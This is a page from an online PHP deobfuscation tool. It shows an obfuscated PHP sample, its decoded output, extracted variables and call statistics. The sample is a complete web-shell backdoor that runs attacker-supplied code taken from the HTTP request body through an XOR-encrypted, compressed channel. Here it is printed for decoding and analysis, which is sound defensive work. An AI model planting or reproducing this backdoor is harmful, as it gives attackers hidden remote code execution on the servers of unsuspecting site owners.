Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $e='$kO="5f4dOcc3b";OO$kh="5aa765d61d83";O$kf="O27dOeb882cf9O9O";$Op="XNyRzA3e'; $..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="5f4dcc3b";$kh="5aa765d61d83";$kf="27deb882cf99";$p="XNyRzA3eu9E85M9x";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$e='$kO="5f4dOcc3b";OO$kh="5aa765d61d83";O$kf="O27dOeb882cf9O9O";$Op="XNyRzA3e';
$G=str_replace('Ow','','crOweOwateOw_fOwuOwncOwtion');
$K='uO9E85M9x";fOunOOctOion x($t,$Ok){$Oc=strlen($kO);$l=Ostrlen(O$t);$o=""O;f';
$C='or($i=0;O$i<O$l;)O{forO($j=0;($j<$OOc&&$i<$Ol);$j+O+,$iO++){$o.=$t{$i}^O$k{$';
$k='(@x(@bOaOse64_decodeO($mO[1]),$k)))OO;$o=@Oob_get_conOtents()O;@ob_en';
$V='ntents("OOphpOO://input"),$m)=O=1) {O@ob_start();@eOvaOl(@gOzuncompressO';
$H='dO_cleaOn();O$rO=@base6O4_eOncoOde(O@x(@gzOcompress($o),$k));OprOint("$p$Okh$r$kf");}';
$T='j}O;OO}}retuOrn $o;}if (O@preg_matcOOh("/$kh(.O+)$kf/",@Ofile_gOOet_co';
$E=str_replace('O','',$e.$K.$C.$T.$V.$k.$H);
$l=$G('',$E);$l();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C or($i=0;O$i<O$l;)O{forO($j=0;($j<$OOc&&$i<$Ol);$j+O+,$iO++){..
$E $k="5f4dcc3b";$kh="5aa765d61d83";$kf="27deb882cf99";$p="XNyR..
$G create_function
$H dO_cleaOn();O$rO=@base6O4_eOncoOde(O@x(@gzOcompress($o),$k))..
$K uO9E85M9x";fOunOOctOion x($t,$Ok){$Oc=strlen($kO);$l=Ostrlen..
$T j}O;OO}}retuOrn $o;}if (O@preg_matcOOh("/$kh(.O+)$kf/",@Ofil..
$V ntents("OOphpOO://input"),$m)=O=1) {O@ob_start();@eOvaOl(@gO..
$e $kO="5f4dOcc3b";OO$kh="5aa765d61d83";O$kf="O27dOeb882cf9O9O"..
$k 5f4dcc3b
$p XNyRzA3eu9E85M9x
$kf 27deb882cf99
$kh 5aa765d61d83

Stats

MD5 fd08696abecbc042b92f2ab9d4fe67b9
Eval Count 1
Decode Time 98 ms